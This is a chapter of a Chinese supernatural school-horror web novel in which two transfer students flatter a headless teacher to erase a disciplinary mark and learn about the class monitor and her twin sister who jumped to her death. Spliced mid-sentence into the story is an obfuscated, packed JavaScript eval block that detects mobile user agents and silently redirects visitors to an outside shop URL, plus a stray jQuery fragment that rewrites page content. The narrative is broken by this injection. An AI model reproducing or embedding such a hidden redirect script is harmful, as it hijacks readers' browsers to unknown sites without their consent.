说完之话,班长便愤然转身离去。

    而白裙少女亦步亦趋地跟着。

    等人走了,陈令迟和李安平地大喘气才慢慢消停下来。

    而后才后知后觉的意识到,无头尸男还在固执地够着自己的头。

    陈令迟和李安平面面相觑一眼,刚准备离开这个是非之地。

    却见空落落挂在天上的人头突然开口说话了:“看见老师在忙,也不知道帮忙。”

    语气略冲,陈令迟一怔:“哈?”

    无头尸男道:“现在应该是上课时间吧,你们两个不在教室里待着,怎么在外面?”

    陈令迟刚刚差异张开地嘴巴这会儿又淡定地合上了。

    他眼一睁就是胡扯:“那个因为我们看到老师您需要帮忙,所以我们就过来了。”

    李安平在一旁瞪大了眼睛,不敢看无头尸男,只敢偷偷看一眼陈令迟,而后低着头憋笑。

    陈令迟不敢看李安平,低着头生怕自己笑出声。

    无头尸男的头毕竟挂在天上,视角受限,看不见陈令迟和李安平私底下的风起云涌:“很好,不愧是新来地转校生,就是懂分寸。”

    眼见着无头尸男没有拆穿他的借口,于是陈令迟立刻扭头道:“那老师我去找个凳子帮你把东西拿下来。”

    说完,陈令迟麻利地滚进去搬了一个梯子过来。

    速度之快,李安平刚刚从地上爬起来,陈令迟就扛着梯子出来了。

    李安平瞪大了眼睛:“速度这么快的吗?”

    陈令迟挑眉:“那当然。”

    陈令迟一早便猜测里面有梯子。

    就目前形式而言,这个脑袋肯定是班长挂上去的,而班长比无头尸男和他都要矮,那自然是有梯子的。

    果不其然,一进去门背后就是一个梯子。陈令迟淡定自如地把梯子扛出来了。

    他一边把梯子放好,一边压低声音悄悄说:“我看里面少了一个老师,恐怕应该是点名的那个老师。”

    有的学校流行把一个班的老师放在一个办公室,他们进入的这个班级很有可能是重点班。

    所以出现这个情况也不意外。

    李安平凑近了问:“那你有什么想法了吗?”

    “差不多吧,”陈令迟一边上梯子一边道,“看看咱俩能不能跟老师打好关系,避免了处分。”

    从无头尸男不难看出,这些老手死了,但是大概率神智还没有完全丢失。

    所以应该是有可操控空间的。

    陈令迟站在地上面,和人头对上了。

    哪怕是已经做好了心理准备,可他还是忍不住为之一颤,太可怕了,血淋淋的脑袋,眼神直勾勾的看着他。

    陈令迟撇开视线,看了一眼天花板。

    脑袋是被人用胶布固定在天花板上的,陈令迟不是很确定这个脑袋还有没有什么痛觉,小心翼翼地扯掉了胶布,抱着脑袋恭恭敬敬的放回了无头尸男的头顶上。

    而后他恭恭敬敬地走下来了,只不过脸色表情都不太好。

    李安平看的分明,有点担心:“怎么了?你又发现了什么吗?”

    陈令迟缓慢地摇头,低头看着自己的手,上面还残留那个脑袋温热地感觉——很恐怖。

    他几乎是气音说话:“有点想吐。”

    李安平瞬间明白了,他半搀扶着陈令迟:“那你还好吗?还能正常说话吗?”

    陈令迟脸色发白,看上去就是一副不好的样子。也难怪李安平会担心。

    陈令迟点头:“应该能,我们现在赶紧趁这个人还有点意识多问点。”

    李安平点头:“好。”

    而这边,无头尸男心满意足的把自己的脑袋放好,然后动了动。

    而颈脖处的痕迹却赫然显现出来——大概率是电锯割掉的。

    陈令迟这会儿半靠着李安平,若无其事地找了个话题问道:“老师,我们刚刚点名不在,被处分了,因为是刚来,所以您人这么帅,怎么好,能帮忙我们划掉吗?”

    无头尸男闻言,视线一凝看了过去:“你说什么?要干什么?”

    陈令迟把刚刚的话重复了一遍,而李安平都为他捏了一把冷汗,这人太冒险了。

    无头尸男倒是好说话,分毫不见得,初见时追着他们两个的半分模样:“你们两个竟然是来帮我的,那这处分就没有必要留了。”

    说完这话地下一瞬间。

    【转校生陈令迟,转校生李安平因表现良好,消除处分一次!希望两位同学再接再厉。】

    啊?

    真的消了?

    这么离谱的吗?

    陈令迟几乎是瞬间就站直了。

    和李安平两个人面面相觑,不可置信。

    但两个人反应很快,意外归意外,现在这个时间点,不赶紧多问问吗?

    这个无头尸男明显就是过来送线索的。

    陈令迟装出一副乖乖学生模样,真挚而诚恳地问道:“老师,我和他刚刚转校过来,还不了解这个学校,可以多问问吗?”

    李安平下一秒就明白了陈令迟想干什么,立马跟上:“是啊,是啊,老师,您这么帅,肯定可以为我们解答心里地疑惑的。”

    无头尸男推开门进去:“那行吧,我们学校毕竟是百年老校,你们这群复读生只要按照我的方法来,肯定是在明年能考上的。”

    陈令迟点头:“肯定的,我们两个经历过上一次地失败,这一次势必洗心革命,好好做人,好好学习,发誓明年高考一定考上。”

    说完这话,陈令迟低头咳了两声。

    原因无他,怎么现在这两个人一个高三,一个高二,都还没有高考。

    李安平似乎也想到了这一层,他低着头道:“嗯对对对,我们两个已经意识到自己在学习上的懈怠了,所以这次肯定会好好学习的。”

    虽然这话拍马屁地意思很明确,可是无头尸男却很受用,他满意地点了点头:“嗯,不错,你们这个态度是好的,照着这个态度下去,肯定是能考上的。”

    在无头尸男地背后,陈令迟和李安平憋笑对视一眼,都明白了对方的意思。

    这个人,毫无疑问,是一个喜欢被拍马屁地人。

    走进办公室,没有开空调,却依然冷的可怕。

    也许是无限流地缘故,所以也没有什么很难闻地味道,两个人进来时便盯准了一旁地红色塑料椅。

    得了这个老师的首肯,毫不犹疑地过去搬了过来,两个人并齐坐在无

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17827676|211264||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头尸男面前。

    无头尸男拿着水杯喝水。

    陈令迟下意识看过去,却发现水杯里面根本不是水,是粉笔灰和烟头。还掺杂着红色,简直恶心人。

    陈令迟只看了一眼便没再看了。

    虽然只是第一次见无头尸男,这种类型的老师他们见多了。

    因此两个人也不着急,毕竟都消了一次处分了,也可以慢慢来。

    无头尸男把水杯放下,端着架子问道:“你们两个想问什么啊?都可以尽管说,毕竟我们还是要相处一年的嘛,也都说缘分。”

    陈令迟先开的口:“老师,今天我进班地时候看见了班长,我有点好奇,这个班长是什么样的人啊?我觉得她还挺好的。”

    无头尸男道:“班长啊,班长是个好孩子,年级第一,认真负责,去年她妹妹高考失利,所以她跟着一块儿来复读,想冲击一个省状元。”

    妹妹?

    班长地妹妹看来就是那个白裙少女了。

    陈令迟下意识追问:“班长是双胞胎吗?”

    无头尸男点头道:“是的,不过班长很惯着这个妹妹的,所以这个妹妹也有点跋扈,唉。”

    陈令迟警惕地抓住了最后一个“唉”追问道:“这个班长地妹妹怎么了?”

    李安平紧接其后,一唱一和:“是有什么事吗?”

    无头尸男又端起那看成恶心恐怖的脏兮兮地玻璃杯:“她跳楼了,就一次考不好,跳楼了。”

    说完这话,无头尸男慢悠悠地喝了一口“水”。

    陈令迟顾不上难受了,追问道:“那这对姐妹叫什么名字啊?”

    无头尸男道:“姐姐班长叫孔情,她那个妹妹啊,算了,你也不需要知道。”

    孔情!

    是那个年级第一!

    那为什么班长听见这个名字地时候脸色一僵呢?还是真如李安平所言,这个班长其实不是班长?

    至于妹妹为什么不需要知道?

    是因为妹妹是幕后大boss吗?

    还是那个白裙少女就是妹妹吗?

    说完,无头尸男还浅做点评:“这个妹妹心里不踏实,一天到晚心都野的很。说两句为她好还记仇,姐姐是个好孩子,乖巧不张扬。”

    听到这话,陈令迟觉得有点怪异:“那,老师,班长还有她的妹妹和你关系好吗?”

    无头尸男似乎很意外这个问题,看了一眼陈令迟,陈令迟都害怕他头又掉了。

    无头尸男道:“我和那个学生不熟悉,但是班长和我关系不错。”

    陈令迟下意识再度追问,却被李安平轻轻拉住了袖口,微微摇了摇头。

    陈令迟瞬间领悟了,他转而换个话题:“那老师,我们先回去上课,就不多打扰了。”

    无头尸男笑了:“那好啊,快回去吧,回去记得告诉老师原因。”

    陈令迟和李安平站起来点头:“好的谢谢老师。”

    把红色塑料凳放回了原位,出去把门关上。

    确定把门关严实了,两个人没敢多走,两个人都还记得刚刚白裙少女和班长的距离,此时此刻也不敢走远。

    背靠着墙,两个人对视一眼,异口同声:“班长肯定不是班长本人了。”